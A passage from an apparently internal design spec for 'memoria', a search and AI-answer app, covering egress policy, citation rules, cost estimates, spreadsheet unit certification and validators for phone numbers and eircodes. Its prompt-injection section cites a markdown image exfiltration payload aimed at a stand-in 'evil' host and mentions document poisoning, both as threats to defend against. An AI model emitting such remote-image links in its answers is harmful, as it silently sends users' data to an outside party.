2570that asks for a kind with no validator, a postal address, whether or not
2571an answer would follow and including live searches while typing. The
2572third was built first, on 2026-09-27, and the README discloses it alone
2573because it is the only one the binary performs.
2574
2575**What it does not change.** This is still whole-corpus egress at ingest,
2576and §3.2's leak list is unaltered: a provider that sees the corpus sees the
2577corpus, whatever its jurisdiction. EU jurisdiction and zero retention
2578constrain what may lawfully be done with the content *after* it arrives —
2579the first thing on this page that constrains anything — but they do not
2580reduce what is sent, and a retention term is a promise we cannot verify
2581(§3.6 says so to the reader and should keep saying it). Decision 5's AI-off
2582floor remains the only configuration in which nothing leaves.
2583
2584**The rule is suite §8's, not memoria's**, and this spec cites it rather
2585than qualifying another app's:
2586
2587> Egress that is a property of the product is forbidden. Egress that is
2588> per-team opt-in, to one named recipient, disclosed in the README's first
2589> paragraph and on every artefact it produced, with a working floor when it
2590> is off, is admissible.
2591
2592That one sentence replaces what stood here — a qualification of Docs §11.2
2593written from memoria's side — and Docs cites the same sentence rather than
2594its own wording (A.2, merged 2026-09-05 as `6797bbf`). **This is how
2595`oficina/docs` discussion 33 closed:** it asked for the boundary of Docs'
2596rejection to be recorded rather than the rejection reversed, and a shared
2597sentence records it once instead of twice in two repos that then drift.
2598
2599**What memoria still has to say for itself**, because the doctrine states
2600the rule and not our position under it: per §3.2, **memoria's embedding
2601ingest is whole-corpus egress**, not merely answer-time top-k. Draft 1
2602compared Docs' whole documents against memoria's retrieved passages, which
2603flattered memoria. Under suite §8 the difference is opt-in, naming, and the
2604AI-off floor. **It is not a difference in what the provider sees, nor in
2605how much.**
2606
2607**A "model call ledger" is content.** Any runtime record of prompts holds
2608retrieved passages, so it falls under §3.2's log rule and §5.2's
2609provenance rule. It is not the development prompt ledger of docs
2610AGENTS.md, which records prompts to `refs/amadan/ledger/<branch>`; draft
26111's "the prompt ledger" ambiguously named both. If a runtime ledger is
2612built it is sealed, provenance-stamped, and expires with its sources.
2613
2614### 8.4 Citations with an optional answer, never the reverse
2615
2616A citation list is always served without an answer. **An answer is never
2617served without its list.** With AI on, a 🤖 paragraph appears above the
2618list; every sentence carries a passage id from it, and a sentence citing
2619nothing is dropped before render. **If every sentence is dropped, say
2620so** — an empty paragraph is indistinguishable from AI being off.
2621
2622#### The invariant, which is the part that binds
2623
2624> **Every passage in a response, and every passage in a model prompt,
2625> passed §4.1 in the request that produced it. Nothing memoria holds, and
2626> nothing it accepts from the client, carries a passage across requests.**
2627
2628This is decision 3 applied to rendering, and §8.5 already states its other
2629half — *"authorization runs before the model exists"*. It is a rule about
2630what may enter a response or a prompt **per request**. It says nothing
2631about interface shape, and it is enforceable: gates 17 and 26.
2632
2633What it forbids is **re-speaking**. A surface that puts previously
2634retrieved passages back into a model prompt, re-renders them server-side,
2635or stores them in a transcript row is memoria speaking those passages
2636again, at a moment when nobody has asked whether this person may still see
2637them. Carrying *query text* forward is not re-speaking and is not
2638forbidden: retrieval and S2 then run from scratch, which is the whole point
2639of retrieval being free (§8.2).
2640
2641**An earlier draft of this section argued the case badly, and the argument
2642is worth recording as wrong.** It said a chat transcript is a cache of
2643authorized passages because turn 1's snippets sit on screen while turn 4 is
2644asked. That proves too much: it is equally true of a search results page
2645left open in a tab, and of `/documents/{id}`, which renders a whole
2646document's passages and stays open as long as the reader likes. **A
2647rendered page is a copy in a browser and memoria's revocation never reaches
2648it** — true of every page here, chat or not, and now recorded as such in
2649§3.2 rather than argued from here. The draft also claimed re-authorizing a
2650transcript would breach §6.5's deadline. It would not: §4.1 batches 256
2651pairs per call and §6.5 makes a page one round of concurrent calls, so a
2652four-turn transcript of eight passages is 32 pairs — one batch, one round,
2653the same floor as a fresh query. **A correct chat is affordable under this
2654spec.** The invariant, not the latency, is what does the work.
2655
2656#### The shape, which is a product ruling and not a consequence
2657
2658**memoria is a search page: one GET search form, `?q=`, one query in and
2659one page out**, with `/documents/{id}` as the only other passage surface.
2660That follows from decision 5 — the search floor *is* the product — and not
2661from decision 3, which a conversational surface could satisfy. Recorded as
2662decision 14 — the spec author's ruling, in answer to a question Paul asked
2663on 2026-09-04 and **confirmed by him on 2026-09-05**. A conversational
2664surface that keeps the invariant above is not forbidden by this section; it
2665is deferred by §12, where it can be argued on its merits rather than
2666smuggled in as a corollary. Parking it there rather than ruling it out was
2667the half that needed confirming, and it was confirmed explicitly.
2668
2669Two things this settles for now:
2670
2671- **A refined search is a new query.** Edit `?q=` and ask again; nothing
2672 carries over, and nothing needs to.
2673- **The 🤖 paragraph is disposable — today.** One paragraph above one list,
2674 regenerated per query, stored nowhere; it is not a §5.2 derived artefact
2675 and no runtime prompt record exists to fall under §8.3's ledger rule.
2676 **Both halves expire if §12's cached-answers or model-call-ledger rows
2677 trigger**, and this paragraph changes with them.
2678
2679**What slice 0 actually shipped is a subset of §8.1's floor**, not the
2680floor: `index.html` renders source, title, ordinal, snippet and deep link,
2681but **no 👨/🤖 marker, no date, and no pagination** — `Search(ctx, q, 25)`
2682is a hard cap and nothing renders a second page. §9.1 also specifies
2683`GET /query?q=` where the app serves `GET /?q=`. Three gaps and a path,
2684listed rather than glossed.
2685
2686Hybrid, then, in the sense that matters: **the search page is the product
2687and the answer is a garnish on it** (decision 5).
2688
2689### 8.5 Prompt injection
2690
2691- **No tools.** memoria retrieves and answers. It **never writes to a
2692 sibling at answer time** and never fetches a URL at answer time. Suite
2693 §7's writes are not tools and are not on this path: the hand-off is a
2694 person clicking a button after an answer is rendered, and S8 is memoria
2695 filing its own material. Neither is reachable from a prompt, which is
2696 what this bullet is about.
2697- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
2698 exfiltration without a tool. Strip remote images; refuse links to
2699 non-suite hosts.
2700- **Authorization runs before the model exists.** §4.1 has already
2701 filtered the passages, so injection cannot cross a grant line — there
2702 is nothing on the other side to retrieve.
2703- **Every claim carries an openable citation.** Poisoning one document to
2704 lie about another survives all of the above; a checkable snippet is the
2705 only mitigation, and a partial one.
2706
2707### 8.6 Cost
2708
2709On §7.2's measured corpus — 90k chunks, **24M tokens**:
2710
2711**Ingest:** 24M × $0.02/M (`qwen/qwen3-embedding-8b`) = **$0.48 once**.
2712Re-embed only changed chunks. The figure survives the move off
2713`text-embedding-3-small` unchanged because the two list prices happen to
2714match — a coincidence, not a reason to stop rechecking it.
2715
2716This has been wrong twice, in opposite directions. Draft 1 priced 60M
2717tokens against a 90k-chunk corpus; draft 3 corrected to 36M by keeping the
2718*intended* 400-token chunk; the measured chunk is 202 words. It follows
2719from §7.2's measurement, and if that measurement moves so does this.
2720
2721**Query:** retrieval is free. The generative layer sends ~8 passages plus
2722instructions — ~5k tokens in, ~500 out. Against the ids §8.2 pins:
2723`deepseek/deepseek-v4-flash-0731` at $0.25/$0.30 per M is **~$0.0014 a
2724query**, and `deepseek/deepseek-v4-pro-0813` at $2.00/$4.00 is
2725**~$0.012**. Five people × 20 queries/day × 22 days = 2,200 queries:
2726**~$3/month if most route cheap, ~$26 if most route frontier.**
2727
2728Read that against one baseline, because an earlier draft used two. Draft 3
2729carried **~$5 cheap and ~$100 frontier** against a generic provider. So the
2730frontier month fell about **4×** and the cheap month about **1.6×** —
2731both moved, and the earlier claim that "the ceilings fell, the estimates
2732did not" was true only of the intermediate glm/kimi pair and is now
2733retired. Per query the cheap figure still sits inside the $0.001–0.003
2734range this section always carried; the frontier one, at $0.012, has fallen
2735below its $0.02–0.10 range rather than sitting in it.
2736
2737Most of that came from §8.2 pinning dated ids from one family, not from the
2738provider switch, and none of it is a reason to route more queries to the
2739frontier tier — §8.2's three model-free classes remain the design, and this
2740section's closing sentence still holds.
2741
2742Derived-artefact regeneration (§5.2) adds a synthesis-class call per
2743invalidated artefact and is unbudgeted until the feature exists. **So does
2744§8.9**, at one cheap-tier call per query that names a valueless kind and
2745whose recognisers found nothing — a small fraction of a small fraction.
2746**Cheap tier by choice, not by necessity**: Paul's ruling says "best value
2747models", and extraction from eight passages is the cheap tier's work under
2748§8.2. A better model would extract better — more complete addresses,
2749cleaner boundaries, fewer omissions — so this is a cost-quality trade to be
2750re-measured, not a consequence of the verbatim check.
2751
2752The money is recurring query tokens by an order of magnitude — the
2753economic argument for §8.2's router and its three model-free classes.
2754
2755### 8.7 Numeric and aggregate questions
2756
2757Paul's motivating example, 2026-09-03: *"what's average revenue in June the
2758last 3 years"*. Ruled independently by Fable and GPT Sol, which converged;
2759where they differ, the stricter reading is taken.
2760
2761**The tension this resolves.** §2 says memoria never recomputes a number,
2762because a second calculator eventually disagrees with the first. But no
2763cell contains "average June revenue over three years", so the question
2764either gets forbidden or the rule gets read properly. What the rule
2765protects is not arithmetic — averaging three doubles is deterministic —
2766it is **selection, units and formatting**: actual versus budget, one year
2767in thousands, `1234567.833` versus `€1,234,568`. Sheets §5 already names a
2768second formatter as the same bug class one layer down.
2769
2770**So: Sheets computes, memoria never does** (decision 10). S6 takes an
2771**enumerated function over cell references** — `SUM`, `AVERAGE`, `MIN`,
2772`MAX`, `COUNT` — and never expression text, so memoria is not a formula
2773author and cannot grow into one. Rejected alternatives: memoria computing
2774and showing its working (a second calculator, arrived at one `mean` at a
2775time); writing a formula into a scratch sheet — **and note this rejection
2776now stands on decision 10's own ground rather than on a write ban.** Suite
2777§7's S8 permits memoria to write into a designated area, and a scratch tab
2778is exactly that shape, so "forbidden by §6.4" is no longer the reason. The
2779reason is decision 10 itself: a formula memoria authored is a calculation
2780memoria owns, and a citation that cites itself.
2781
2782**Chunking a spreadsheet**, which §13 carried as unsolved. Two chunk kinds
2783per tab:
2784
2785- **One structure chunk per tab** — sheet title, tab name, dimensions, the
2786 header band, the leftmost text column, number formats named in words,
2787 and every date-like header emitted twice, as displayed and canonicalised
2788 (`Jun 2024` *and* `2024-06`). This is the chunk that carries the
2789 vocabulary.
2790- **Region row chunks**, one per row of a header-plus-contiguous-block
2791 region, rendered as **facts rather than positions**: *"FY2024 › P&L ›
2792 Revenue: Jan 2024 = €1,200,000; … Jun 2024 = €1,350,000"*. Row label is
2793 the nearest text run to the left, column label the header band above,
2794 concatenated top-down. Sheet and tab prepend to every chunk. Values are
2795 the **display string from S3**, never a double memoria formatted.
2796
2797That is what makes `revenue`, `June` and `2024` literal BM25 terms for a
2798cell whose content is the bare number `1350000`. **Header detection is
2799deterministic and conservative: where competing header bands make the
2800meaning ambiguous, index the alternatives as structure and do not
2801manufacture a fact.**
2802
2803**Retrieval, because top-k cannot prove completeness.** Decompose into
2804named slots — `(Revenue, June, 2024)`, `(…, 2025)`, `(…, 2026)` — and
2805resolve each by exact metadata lookup against the structure catalogue,
2806using top-k only to find candidate regions. Recall becomes a per-slot
2807count:
2808
2809- exactly one current, authorized operand → filled;
2810- zero → a named gap;
2811- **two or more → ambiguity, never extra evidence**, and never collapsed.
2812
2813**S6 is called only when every slot is filled and every operand carries a
2814certified unit.** Any gap, ambiguity, `STALE`, `AHEAD` or `UNKNOWN`
2815yields the slot table with citations and **no number**: *"Found June 2024
2816and June 2023; nothing matched June 2025. No average shown."* A
2817two-of-three average is the plausible-wrong answer that §8.1's loud
2818withholding exists to prevent, and it is worse than an empty result
2819because it is actionable.
2820
2821**"Compatible units" was unfalsifiable in draft 3, and this section's own
2822example is the case it cannot catch.** Three cells formatted `General`,
2823one of them typed in thousands, carry no signal that distinguishes them.
2824`MIXED_UNITS` therefore never fires, the three numbers average cleanly,
2825and memoria certifies a figure wrong by a factor of a thousand while
2826citing all three cells correctly. A check that cannot fire is a check
2827written to pass, and this one guards the number the whole section exists
2828to protect.
2829
2830**So the test is inverted: a unit is certified, not contradicted.** Every
2831operand must carry a unit, and it may come from exactly two places:
2832
2833- **the cell's `format_code`**, which S6 already returns — a currency
2834 symbol, a percentage, or a scaling comma (`#,##0,` is thousands in both
2835 Sheets' and Excel's grammar); or
2836- **an explicit unit word in the structure chunk's header band or row
2837 label**, both of which §8.7's chunking already indexes: `€k`,
2838 `thousands`, `$m`, `%`.
2839
2840`General` with no unit word is not a unit. It is the absence of one, and
2841that absence has to be a verdict rather than a silence.
2842
2843**Who certifies: memoria, and not S6.** Draft 4 said both — "S6 is called
2844only when units are certified" *and* "S6 gains `UNIT_UNKNOWN`" — which
2845cannot both be true, because a value S6 returns is a value that arrives
2846after S6 was called. The review was right to force the choice, and it
2847falls to memoria for a reason that is not about which is tidier:
2848**neither party holds both signals, and memoria is the one that holds
2849neither-half-only.** The `format_code` comes from Sheets, but memoria
2850already receives it (S6 returns it, and §8.7's structure chunk indexes it
2851at ingest). The header word comes from memoria's own chunking, and Sheets
2852has no idea what memoria's structure chunks say. An S6 that decided units
2853would be deciding on half the evidence.
2854
2855So the certification rule is memoria's, and it is a fixed table rather
2856than a judgement:
2857
2858| Signal on an operand | Unit token |
2859|---|---|
2860| `format_code` carries a currency symbol, a percent, or a scaling comma (`#,##0,` is thousands in Sheets' and Excel's grammar) | the canonicalised symbol-plus-scale, e.g. `€`, `€k`, `%` |
2861| the structure chunk's header band or row label carries an explicit unit word — `€k`, `thousands`, `$m`, `%` | that word, canonicalised the same way |
2862| both, and they canonicalise to the same token | that token |
2863| both, and they canonicalise to different tokens | **none: the operand is uncertified** |
2864| neither — `General`, no unit word | **none: the operand is uncertified** |
2865
2866And the two refusals are memoria's verdicts, delivered before S6 is
2867called:
2868
2869| memoria's verdict | Means | memoria does |
2870|---|---|---|
2871| `MIXED_UNITS` | every operand is certified, and two of their tokens differ | no S6 call; no number; name the operands and their tokens |
2872| `UNIT_UNKNOWN(cell)` | this operand certified to no token | no S6 call; no number; name the cells that carry none, and say what would fix them |
2873
2874**`€k` and `€` are different units, and memoria will not reconcile
2875them.** This is the case the review asked to be ruled, and the ruling is
2876the strict one: recognising `€k` and `€#,##0` as the same unit means
2877multiplying one operand by a thousand, which is memoria doing arithmetic
2878on a cell value — the exact thing decision 10 forbids, arriving as a
2879helpful conversion. So they do not aggregate, `MIXED_UNITS` fires, and
2880the refusal names both formats so the reader can see it is a formatting
2881difference and fix it in Sheets. **memoria performs no unit algebra of
2882any kind**: no scaling, no currency conversion, no percent-to-fraction.
2883Tokens are compared for equality or they are not compatible.
2884
2885**A `General` cell under a `€k` header aggregates, and here is exactly
2886what is displayed.** The header word certifies the operand as `€k`; if
2887the other operands certify to `€k` too, S6 is called and returns a
2888`value`, a `display` string and a `format_code`. **memoria displays S6's
2889`display` string unchanged and names the unit beside it, from the
2890header** — *"Average June revenue, 2024–2026: 1,350 (€k, from the column
2891header "Jun 2024 €k")."* It does not fold the unit into the number, does
2892not render `€1,350,000`, and does not re-format anything: folding the
2893unit in is formatting, and §8.7 exists because a second formatter is the
2894same bug class as a second calculator. Where the unit came from a header
2895word rather than a format code, the answer says so, because that is a
2896weaker provenance and the reader should be able to check it.
2897
2898**Re-certification on the way back, because the indexed format can be
2899stale.** memoria certifies from the format code it indexed, then compares
2900it against the `format_code` S6 returns for the same cell. A
2901disagreement means the sheet was reformatted since ingest: **no number**,
2902the slot table, and the source marked for re-ingest. This is `STALE`'s
2903logic applied to formatting rather than to content, and without it the
2904certification runs on a snapshot of the thing it is certifying.
2905
2906**All three outcomes can fail, which is the point.** Three cells
2907formatted `€#,##0` aggregate. One `€#,##0` against one `k€#,##0` fires
2908`MIXED_UNITS`. Three `General` cells under a header that says nothing
2909fire `UNIT_UNKNOWN` and show no number. Gate 22 runs all three plus the
2910`€k`-header case, and the `General` one is what draft 3 would have
2911answered wrongly and confidently.
2912
2913**The cost is real and it is not hidden.** Plenty of real spreadsheets
2914are `General` throughout, and on those memoria refuses every aggregate
2915until someone formats the cells or writes the unit into the header. That
2916is a worse product than one which answers, and a better one than one
2917which answers wrongly: the refusal names the cells and says what would
2918fix them, in Sheets, where the fix belongs. **The spec's position is that
2919there is no override switch**, because an override is the `General` case
2920with a checkbox in front of it, and a checkbox nobody reads is how the
2921wrong number gets certified with the reader's own consent.
2922
2923**That position is not mine to settle, and §13 marks it as Paul's.** It
2924trades a product cost nobody has measured against a correctness
2925guarantee, and the measurement — how many of a real team's sheets are
2926`General` throughout — does not exist. If it turns out to refuse nearly
2927everything, the answer this spec would argue for is better header
2928indexing rather than an override; but "we refuse most numeric questions"
2929is a product decision, not a spec detail.
2930
2931**One limit, stated plainly:** a cell whose *value* was typed in
2932thousands under a `General` format is undetectable to memoria, to S6 and
2933to Sheets. Nothing in the suite knows. The header word is the only
2934remaining signal, and where there is none, `UNIT_UNKNOWN` is the correct
2935answer rather than a cautious one.
2936
2937**The answer names its basis**, including which years "last three" meant,
2938because that is ambiguous on any given date.
2939
2940**What must not be built.** A retrieval-augmented calculator: retrieve
2941top-k, let a model pick numeric strings, average them, present it as
2942grounded. Both reviewers named this unprompted. It stacks three silent
2943errors — incomplete recall, wrong operand selection, arithmetic and
2944formatting outside Sheets — and every one of them cites correctly while
2945being wrong. Also forbidden: memoria parsing a display string back into a
2946number (`"€1.2M"`), which is a second parser and therefore a second
2947calculator; and caching an S6 result, which outlives its cells.
2948
2949Gate 14 extends: **every digit in an answer sentence traces to a cited
2950passage or an S6 result.**
2951
2952### 8.8 The fact box: deterministic extraction above the list
2953
2954Paul's motivating example, 2026-09-14: a search for `phone number` should
2955put the answer at the top of the page — *"Tito office number: +353 (0)1
2956547 7854"* — and the same for an eircode, a VAT number. And his
2957constraint, given in the same breath, which is the whole of this section's
2958shape: **do as much deterministic ordering of the data as possible before
2959any inference runs on it.**
2960
2961**Called the fact box, and not the lookup box, which is what draft 1
2962called it.** `query.IsQuestion`'s complement is already a lookup in this
2963codebase — `TestALookupPrimesTheFirstResult` is about Enter, not about
2964this — and a second meaning for the word in the same package is the name
2965collision this repo's reviews keep finding.
2966
2967**This section is the deterministic layer, and it calls no model.** The
2968kinds it serves are the kinds that have a validator. Decision 15 originally
2969said the whole fact box calls no model, *ever*, and excluded any kind
2970without a validator; **Paul amended it on 2026-09-19** and §8.9 is the
2971model half he ruled in. Nothing in this section changes because of that:
2972a validator-backed kind never reaches a model, and every guarantee below
2973is a guarantee about *this* layer. Where a sentence here says "no model",
2974it means this layer and not the request — §8.9 may call one afterwards,
2975for a different kind, and §8.2's router may call one after that.
2976
2977**Its deterministic layer is a fourth way memoria answers without a model,
2978and it is not a class.** Drafts 1 and 2 both called it *"§8.2's fourth model-free class"*
2979while also calling it a layer, which cannot both be true: a row in §8.2's
2980table is a **route**, and a route is terminal. A query naming a kind would
2981have stopped at the box, so *"what's the office phone number?"* with
2982nothing validated in reach would get no answer where the single-source
2983class would have given one. The box is attempted, and then §8.2 routes the
2984query exactly as it would have. Paul's constraint is deterministic
2985**first**, not deterministic **instead**.
2986
2987**"Model-free" in §8.2 and §8.6 is a claim about routing, not about the
2988request.** §8.9 now sits between this box and the router and may call the
2989cheap tier for a postal address. A navigational query that names
2990`address` can therefore cause a model call that no router class did —
2991the router's three model-free classes are still model-free; the request
2992carrying them may not be.
2993
2994**This section's own path touches nothing in §3.2.** No egress, no
2995provider, no embedding — the deterministic box works on an instance with
2996AI switched off, which is decision 5's floor and therefore the whole
2997product today. It is part of §8.1's floor and gate 15 covers it.
2998**Nothing on this path is logged**, gate 4's rule applying unchanged: a
2999fact, its label and its kind are all content, and the query that named
3000the kind is content too.
3001
3002**That claim is now load-bearing in a way it was not, because decision 15
3003has been amended and §8.9 adds a model.** What survives the amendment
3004without qualification is everything in this section: recogniser,
3005validator, label, cap, collision, citation. What §8.9 adds sits *after*
3006all of it and is switched off with AI. The sentence to keep straight is
3007**"the deterministic box has no egress"**, not "the fact box has no
3008egress" — and §8.9 exists as its own section rather than a paragraph here
3009precisely so that the two cannot be confused by someone reading quickly.
3010
3011#### One extraction, over the ruled results, and why drafts 1 and 2 had two
3012
3013**Candidates are the validated facts carried by the passages this search
3014already returned and §4.1 already allowed.** There is no second index, no
3015second query, no ingest-time half and nothing stored. `Store.Search`
3016produces `Page.Results`; the box is extracted from those and from nothing
3017else.
3018
3019That makes §8.4's invariant structural rather than careful: every passage
3020in a response passed §4.1 **in the request that produced it**, and a
3021candidate that is not in `Page.Results` does not exist. There is no
3022second retrieval path, so there is no second authorization path to get
3023wrong.
3024
3025**Both earlier drafts built a retrieval mechanism for reachability, and
3026the cap is what killed it.** Draft 1 folded kind words into the main
3027index; draft 2, after the IDF objection below, gave facts their own
3028in-memory table queried by kind. Writing the retrieval step out
3029concretely is what found the contradiction:
3030
3031- this section caps candidates at three;
3032- a facts table is queried `WHERE kind = 'phone'`, which is corpus-wide;
3033- a real corpus holds dozens of phone numbers — `index/rank_test.go`'s
3034 twelve-chunk fixture already holds two, plus four account numbers and a
3035 VAT number.
3036
3037So the cap fires on the first query anyone types, on every kind,
3038permanently, and the box never appears. **The only way to bound a
3039corpus-wide fact query is to rank the candidates and keep the best three,
3040which is exactly what "never by picking" forbids** — and a `LIMIT` before
3041the ruling is worse still, because a withheld document then eats one of
3042the slots and "count after the ruling" becomes unimplementable. The gate
3043review reached this independently and from the other side.
3044
3045The ruled top-25 is already a query-scoped candidate set. Once candidates
3046come from it, the facts table has no query-time job left, and its only
3047other job was the ingest-time ranking lift.
3048
3049**Why the deferred fix is not "index the kind words", measured rather
3050than asserted.** FTS5 computes a term's IDF across the table, so a term
3051present in most rows scores near zero. On `modernc.org/sqlite`, 20 rows,
3052best `bm25()` for `"phone"`: **-2.7169** with the term in one row,
3053**-0.0000** with it injected into all twenty. A collapse, not a
3054degradation.
3055
3056**Be exact about what that measures, because draft 2 overclaimed it.**
3057Draft 2 said the injection would degrade *"exactly the query the NEAR
3058comment works through"*, and on that comment's own fixture it would not:
3059the chunk holding the office number already contains the word `phone`, so
3060injecting it there moves that chunk's term frequency and length, not the
3061corpus IDF. The real exposure is a corpus where **many chunks carry
3062numbers and few say `phone`** — which is the shape a large real corpus has
3063and the fixture does not. The number stands; the sentence it was attached
3064to did not.
3065
3066#### What this costs, and it is the thing to measure next
3067
3068**The reachability limit is back, and draft 2 claimed to have removed
3069it.** A fact in a document that does not reach the ruled top-25 is a fact
3070the box does not have: an eircode written `D02 XY45` in a document that
3071never says "eircode" is found only if something else about it ranks.
3072Draft 1 named this and deferred the fix; draft 2's table did not actually
3073remove it, since that table ran only when a kind was named and was inert
3074corpus-wide under the cap. §12 carries it.
3075
3076**The box's presence depends on the retrieval limit, which is a real
3077edge and is stated rather than discovered.** `Search(ctx, q, 25)` is a
3078hard cap, so a fourth distinct value sitting at rank 26 leaves a box of
3079three, and the same value at rank 25 removes the box entirely. That is
3080not wrong — the box describes what this search found — but it means the
3081box is a function of the page, not of the corpus, and nobody should read
3082it as the latter.
3083
3084**Whether the cap made the box inert on the corpus that motivated it was
3085unmeasured until Paul hit it, 2026-09-29.** He searched *"what is the
3086office phone number?"* on the live instance and got 25 results and no
3087box. The Office page alone carries the office number and a list of
3088unused ones, so the ruled top-25 held four or more distinct valid numbers
3089and the cap fired — on the very query this section was written for. This
3090section used to say the remedy was *"a narrower kind lexicon or a
3091per-kind cap, **not** a rule that picks"*. Neither of those would have
3092helped: the lexicon was already right (the query asked for a phone
3093number), and any cap large enough to pass would show a list of unused
3094numbers as the answer. **Paul ruled the remedy instead: narrow by the
3095reader's own words** — see *"Narrowing by the reader's own words"* below.
3096
3097**§4.1 is unaffected, in the direction that matters.** A reader for whom
3098passages are withheld draws candidates from a smaller set, never a larger
3099one — `rule` drops withheld results and §12's over-fetch-and-refill is
3100deliberately not built, so the slot stays lost. Fewer candidates cannot
3101be a leak.
3102
3103**A chunk row that is gone by the time the box reads it is skipped
3104silently**, exactly as `Store.Search`'s `livePassage` check drops a stale
3105hit, and for the reason recorded there. It does not fail the search: the
3106box is a garnish and trading the page for it is the wrong direction.
3107
3108**And the box needs plaintext the search path does not open.**
3109`Store.Search` opens titles, paths and item ids under their own purposes;
3110chunk bodies are opened only by `indexDocument` and `Passages`. FTS5
3111snippets are 24 tokens with `<mark>` in them — too short and too marked-up
3112to take a span or a label from. So the box re-reads the sealed chunk rows
3113for the ruled results, after the ruling, under `seal.PurposeChunk`: at
3114most 25 rows, one `IN` query, 25 AEAD opens.
3115
3116#### Why nothing is stored
3117
3118The rejected design is a **sealed, durable** `facts` table, written at
3119ingest, read at query time. Two grounds, and draft 1's third is withdrawn:
3120
3121- It is **derived state**, so it inherits AGENTS.md's ordering rule in
3122 both directions and §5.2's invalidation — a new way for the index and
3123 the database to disagree, bought for nothing that query-time extraction
3124 does not already give.
3125- It **freezes the recognisers at the version that ran at ingest**, so
3126 improving one leaves every existing document answering with the old
3127 one until somebody re-ingests it. **This is not the `Passages` problem
3128 and draft 2 cited it as though it were.** That comment records the
3129 opposite lesson — re-running the *chunker* at view time misaligned
3130 citations, and freezing at ingest is the fix — and it does not transfer,
3131 because a recogniser change moves no ordinal and breaks no citation.
3132 The staleness argument stands on its own or not at all.
3133
3134Draft 1's third ground was that a plaintext `kind` column would be an
3135inventory of which kinds of sensitive data the team holds — true, and
3136irrelevant, because the proposal was for a sealed table. The honest
3137residual for a sealed one is the per-chunk fact-row count, which is real,
3138much smaller, and not on its own a reason.
3139
3140**Nothing new exists at rest, and nothing new exists in the index
3141either.** That is the strongest property this section has and it came
3142from deleting things.
3143
3144#### The recognisers, and what is not one
3145
3146A kind is in the box when a query word names it **and** a candidate
3147validates.
3148
3149| Kind | Primed by | Validated by |
3150|---|---|---|
3151| `eircode` | `eircode`, `postcode`, `post code` | routing key — a letter from `ACDEFHKNPRTVWXY`, a digit, then a digit or `W` — plus four characters from that set and the digits |
3152| `iban` | `iban`, `bank details` | country prefix, length by country, mod-97 |
3153| `vat` | `vat`, `vat number` | modern Irish format and its check letter |
3154| `phone` | `phone`, `telephone`, `tel`, `mobile`, `phone number` | **structural, and see below** |
3155| `email` | `email`, `email address`, `e-mail` | `local@domain`, domain carrying a dot, no whitespace — **weak, and see below** |
3156| `address` | `address`, `postal address`, `office address` | **none — this layer never produces one.** A §8.9 model kind; see there |
3157
3158**Three of these are checksums and two are not, and the section says so
3159rather than implying five.** An eircode's routing key is a closed set, an
3160IBAN has a mod-97 check, an Irish VAT number has a check letter derived
3161from its digits. These can be wrong, and a wrong one is refused.
3162
3163**`phone` has no checksum, so it gets a structural rule that is stated
3164here rather than left to the code: a bare run of digits is never a phone
3165number.** The span must carry a `+`, or separators grouping it. This is
3166not a hack bolted on to a weak validator — it is how documents write phone
3167numbers, and without it `rank_test.go`'s own corpus yields false
3168positives: `DUNS/D-U-N-S number is 985632364` is nine digits and a
3169plausible Irish mobile. **The cost is stated too:** a document writing
3170`0871234567` with no separators is not boxed. That is the safe direction,
3171and it is the direction a refusal should fail in.
3172
3173**Three structural rules came out of building it, and each one is here
3174because ordinary document text was boxed without it.** The implementation
3175review found all three live, not as mutations:
3176
3177- **A phone number uses one separator style throughout.** Mixed
3178 separators walk straight past the 9-or-10 bound above: *"The deadline
3179 is 01-02-2024 10:30"* matched `01-02-2024 10`, ten digits, valid, and
3180 boxed a date. Three styles, never mixed.
3181- **Four digit groups, or five with a country code — refused by count,
3182 never truncated.** *"Numbers drawn: 01 05 12 23 34"* canonicalises to
3183 ten digits and passes every other test, so something has to refuse it.
3184 **The count is the validator's job and not the pattern's**, and putting
3185 it in the pattern was a worse bug than the one it fixed: a pattern
3186 capped at three groups and five digits a group does not refuse a long
3187 number, it *shortens* it. *"Mobile: +353 87 1234567"* — the commonest
3188 international spelling of an Irish mobile — was boxed as
3189 **`+353 87 12345`**, and *"+49 30 12 34 56 78"* as `+49 30 12 34 56`.
3190 Both are well-formed numbers that pass every other check and are not
3191 the number in the document: §8.7's *"cites correctly while being
3192 wrong"*, manufactured by the guard meant to prevent it.
3193
3194 So the recogniser is generous, it must end on a word boundary or an
3195 extension, and the validator refuses by group count. **Germany and
3196 France genuinely write more groups than this and their numbers are
3197 refused.** That is the stated cost, and it is the right way round: a
3198 refusal shows nothing, a truncation shows a wrong number.
3199- **The international floor is ten digits, not E.164's eight.** Eight
3200 admits `+10 000 000` out of *"Growth of +10 000 000 users"*. A country
3201 code plus a national number reaches ten everywhere this corpus dials,
3202 and refusing a genuinely short international number is the safe
3203 direction.
3204
3205**One residual is stated rather than left to be found: an ALL-CAPS
3206heading.** `SEE FORM P45 THEN P60` still yields `P45 THEN`, because
3207case-sensitivity cannot separate an eircode from uppercase English, and
3208uploads do carry all-caps headings. No regex fixes this; only a label or
3209a dictionary would, and both are bigger than the problem. Recorded so the
3210next person finds the limit rather than the surprise.
3211
3212**And eircodes are matched case-sensitively**, which is not fussiness.
3213The identifier alphabet is most of the consonants, so case-insensitively
3214it matches lowercase English after a road number or a form code: *"Take
3215the N11 then exit at Bray"* boxed `N11 then`, and *"Form P45 then P60"*
3216boxed `P45 then`. A cited fact that is really an English word reads
3217exactly like a correct answer — §8.7's *"cites correctly while being
3218wrong"*, arriving from a character class. Eircodes are written uppercase;
3219a lowercase one going unrecognised is the cost and it is the right way
3220round.
3221
3222**`email` is kept and its weakness is stated rather than hidden.**
3223`local@domain` is closer to pattern-spotting than to validation. On a
3224corpus of uploads and Notion pages it is useful — one support address,
3225cited. On a corpus carrying forwarded mail (§4.2's source list) every
3226signature qualifies, the cap is passed, and the box is inert for that
3227kind. That is the cap working, and the failure direction is silence rather
3228than a wrong address.
3229
3230**`url` was in draft 1 and is dropped.** `scheme://host` is
3231pattern-spotting with nothing behind it, so every link in every document
3232qualifies and the box is inert immediately. It also collides with §8.5's
3233*"refuse links to non-suite hosts"* for no gain.
3234
3235**Nothing in the box is ever an anchor.** The value is text; the only link
3236the box carries is its citation, to `/documents/{id}#p{n}`. No `mailto:`,
3237no `href` built from a document's bytes.
3238
3239**`address` primes the postal-address kind, and `email address` primes
3240`email`** — longest phrase first, so the two cannot collide. Postal
3241address has no checksum, no fixed grammar and no length, so this layer has
3242nothing to validate it with and produces nothing for it. **It is §8.9's
3243first model kind**, which is what decision 15's amendment changed: before
